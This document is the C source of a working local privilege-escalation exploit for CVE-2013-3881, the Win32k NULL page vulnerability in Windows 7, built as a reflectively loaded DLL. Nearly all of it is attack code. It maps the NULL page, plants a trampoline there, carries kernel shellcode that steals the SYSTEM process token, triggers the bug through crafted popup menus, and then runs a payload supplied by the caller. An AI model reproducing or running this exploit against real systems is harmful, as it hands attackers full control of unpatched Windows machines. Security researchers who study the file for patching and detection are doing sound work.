/*
 * Exploit Title: CVE-2013-3881 Win32k NULL Page Vulnerability
 * Date: February 5, 2014
 * Vulnerability Discovery: Seth Gibson and Dan Zentner of Endgame
 * Exploit Author: Spencer McIntyre
 * Version: Windows 7 SP0/SP1
 * Tested on: Windows 7 SP0/SP1
 * CVE-2013-3881 MS13-081
 * References:
 *   http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html
 *   http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html
 *   http://picturoku.blogspot.com/2011/12/bit-away-from-kernel-execution.html
 */

#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"

// Purloined from ntstatus.h
#define STATUS_SUCCESS                          ((NTSTATUS)0x00000000L) // ntsubauth

#define WIN32_NO_STATUS
#include <windows.h>
#undef WIN32_NO_STATUS

#ifndef _NTDEF_
typedef __success(return >= 0) LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS;
#endif

#define TABLE_BASE 0xff910000

static const char* window_class_name = "PWN_CLASS";
static HWND window0 = NULL;
static HWND window1 = NULL;
static HDESK desktop = NULL;

const unsigned char shellcode[] =
	"\x33\xc0"                      // xor eax, eax
	"\x64\x8b\x80\x24\x01\x00\x00"  // mov eax, fs:[eax+0x124]
	"\x8b\x40\x50"                  // mov eax, ds:[eax+0x50]
	"\x8b\xc8"                      // mov ecx, eax
	/* LOOPTHROUGHPROCESSES */
	"\x8b\x80\xb8\x00\x00\x00"      // mov eax, ds:[eax+0xb8]
	"\x2d\xb8\x00\x00\x00"          // sub eax, 0xb8
	"\x83\xb8\xb4\x00\x00\x00\x04"  // cmp DWORD PTR ds:[eax+0xb4], 4
	"\x75\xec"                      // jnz short LOOPTHROUGHPROCESSES
	"\x8b\x90\xf8\x00\x00\x00"      // mov edx, ds:[eax+0x0f8]
	"\x89\x91\xf8\x00\x00\x00"      // mov [ecx+0x0f8], edx
	/* Epilog Part 1: Uncorrupt HANDLEENTRY */
	"\xbe\x00\x08\x00\x00"          // mov esi, 0x0800
	"\x8b\x3e"                      // mov edi, [esi]
	"\x8b\x46\x04"                  // mov eax, [esi+4]
	"\x89\x07"                      // mov [edi], eax
	"\x8b\x46\x08"                  // mov eax, [esi+8]
	"\x89\x47\x04"                  // mov [edi + 4], eax
	"\x8b\x46\x0c"                  // mov eax, [esi+c]
	"\x89\x47\x08"                  // mov [edi+8], eax
	/* Epilog Part 2: Return to xxxTrackPopupMenuEx */
	"\x83\x7c\x24\x58\x00"          // cmp DWORD PTR [esp+0x58], 0
	"\x74\x11"                      // je short sp1
	"\x83\x7c\x24\x5c\x01"          // cmp DWORD PTR [esp+0x5c], 1
	"\x75\x0a"                      // je short sp1
	/* Service Pack 0 */
	"\x83\xc4\x48"                  // add esp, 0x48
	"\x5f"                          // pop edi
	"\x5e"                          // pop esi
	"\x5b"                          // pop ebx
	"\x5d"                          // pop ebp
	"\xc2\x04\x00"                  // ret 4
	/* Service Pack 1 */
	"\x83\xc4\x4c"                  // add esp 0x4c
	"\x5f"                          // pop edi
	"\x5e"                          // pop esi
	"\x83\xc4\x0c"                  // add esp, 0x0c
	"\x5d"                          // pop ebp
	"\xc2\x08\x00";                 // ret 8

typedef struct _HANDLEENTRY {
	struct _HEAD *pHead;
	void         *pOwner;
	UINT8        bType;
	UINT8        bFlags;
	UINT16       wUniq;
} HANDLEENTRY, *PHANDLEENTRY;

typedef NTSTATUS (NTAPI *lNtAllocateVirtualMemory)(
	IN  HANDLE  ProcessHandle,
	IN  PVOID   *BaseAddress,
	IN  PULONG  ZeroBits,
	IN  PSIZE_T RegionSize,
	IN  ULONG   AllocationType,
	IN  ULONG   Protect
);

typedef NTSTATUS (NTAPI *lNtQueryIntervalProfile)(
	IN  DWORD  ProfileSource,
	OUT PULONG Interval
);

LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
	return DefWindowProc(hwnd, msg, wParam, lParam);
}

NTSTATUS AllocateNullPage(void) {
	HMODULE hNtdll = NULL;
	FARPROC pNtAllocateVirtualMemory = NULL;
	DWORD base_address = 1;
	SIZE_T region_size = 0x1000;
	ULONG zero_bits = 0;
	HANDLE current_process = NULL;
	NTSTATUS status = 0;

	hNtdll = LoadLibraryA("ntdll");
	pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
	current_process = GetCurrentProcess();
	status = pNtAllocateVirtualMemory(current_process, &base_address, 0, &region_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE);
	FreeLibrary(hNtdll);
	return status;
}

PHANDLEENTRY GetAheList(void) {
	HMODULE hUser32 = NULL;
	HANDLEENTRY **tagSharedInfo = NULL;

	hUser32 = LoadLibraryA("user32");
	tagSharedInfo = (PHANDLEENTRY *)GetProcAddress(hUser32, "gSharedInfo");
	if (tagSharedInfo == NULL) {
		return NULL;
	}
	return (PHANDLEENTRY)*&tagSharedInfo[1];
}

DWORD WINAPI TriggerThread0(void *garbage) {
	HMENU menu0;

	SetThreadDesktop(desktop);
	window0 = CreateWindow(window_class_name, "Window 0", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
	menu0 = CreatePopupMenu();
	if (AppendMenu(menu0, (MF_STRING | MF_ENABLED), 32001, "test") == 0) {
		return 0;
	}
	TrackPopupMenu(menu0, TPM_CENTERALIGN, 0, 0, 0, window0, NULL);
	return 0;
}

BOOL WINAPI CreateAndRegisterClass(char * class_name) {
	WNDCLASSEX wx;
	HINSTANCE hInstance = NULL;

	hInstance = (HINSTANCE)GetModuleHandle(NULL);
	if (hInstance == NULL) {
		return FALSE;
	}

	wx.cbSize = sizeof(WNDCLASSEX);
	wx.style = 0;
	wx.lpfnWndProc = WndProc;
	wx.cbClsExtra = 0;
	wx.cbWndExtra = 0;
	wx.hInstance = hInstance;
	wx.hIcon = LoadIcon(NULL, IDI_APPLICATION);
	wx.hCursor = LoadCursor(NULL, IDC_ARROW);
	wx.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
	wx.lpszMenuName = NULL;
	wx.lpszClassName = class_name;
	wx.hIconSm = LoadIcon(NULL, IDI_APPLICATION);

	if (RegisterClassEx(&wx) != 0) {
		return TRUE;
	}
	return FALSE;
}

DWORD WINAPI ExecutePayload(LPVOID lpPayload) {
	VOID(*lpCode)() = (VOID(*)())lpPayload;
	lpCode();
	return ERROR_SUCCESS;
}

void Win32kNullPage(LPVOID lpPayload) {
	HMENU menu1 = NULL;
	HMENU menu2 = NULL;
	HANDLE gdi_handle = NULL;
	void *promise_land = NULL;
	ULONG interval = 0;
	PHANDLEENTRY aheList = NULL;
	PHANDLEENTRY target_handle = NULL;
	DWORD saved_bytes = 0;

	desktop = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL);
	SetThreadDesktop(desktop);

	if (!CreateAndRegisterClass(window_class_name)) {
		return;
	}

	if (AllocateNullPage() != STATUS_SUCCESS) {
		return;
	}
	*((PDWORD)promise_land + 0)  = 0x000004eb; /* jmp 4 */
	*((PDWORD)promise_land + 1)  = 0x90909090; /* noooop */
	*((PDWORD)promise_land + 2)  = 0x000400b8; /* mov eax, 400 */
	*((PDWORD)promise_land + 3)  = 0x90d0ff00; /* call eax */
	*((PDWORD)promise_land + 7)  = 0x00;
	*((PDWORD)promise_land + 9)  = 0x00;
	*((PDWORD)promise_land + 12) = 0x00;
	*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x04) = (0x0200 - 4);
	*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x08) = (0x0200 - 4);
	memcpy((PDWORD)promise_land + 256, shellcode, sizeof(shellcode));

	window1 = CreateWindow(window_class_name, "Window 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
	menu1 = CreatePopupMenu();
	menu2 = CreateMenu();
	SetMenu(window1, menu2);
	DestroyMenu(menu2);

	aheList = GetAheList();
	*((PDWORD)promise_land + 127) = ((DWORD)menu2 & 0xffff);
	*((PDWORD)promise_land + 128) = 0x01;
	*((PDWORD)promise_land + 129) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE + 5) - 0x0104;

	target_handle = &aheList[((DWORD)menu2 & 0xffff)];
	*((PDWORD)promise_land + 512) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE);
	memcpy((PDWORD)promise_land + 513, target_handle, sizeof(HANDLEENTRY));

	if (AppendMenu(menu1, (MF_STRING | MF_ENABLED), 32001, "test") == 0) {
		return;
	}

	do {
		gdi_handle = CreateMetaFile(NULL);
	} while (gdi_handle != NULL);

	CreateThread(NULL, 0, TriggerThread0, NULL, 0, 0);
	Sleep(500);
	TrackPopupMenu(menu1, TPM_CENTERALIGN, 0, 0, 0, window1, NULL);
	CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL);
	return;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
	BOOL bReturnValue = TRUE;
	switch (dwReason) {
		case DLL_QUERY_HMODULE:
			hAppInstance = hinstDLL;
			if (lpReserved != NULL) {
				*(HMODULE *)lpReserved = hAppInstance;
			}
			break;
		case DLL_PROCESS_ATTACH:
			hAppInstance = hinstDLL;
			Win32kNullPage(lpReserved);
			break;
		case DLL_PROCESS_DETACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
			break;
	}
	return bReturnValue;
};
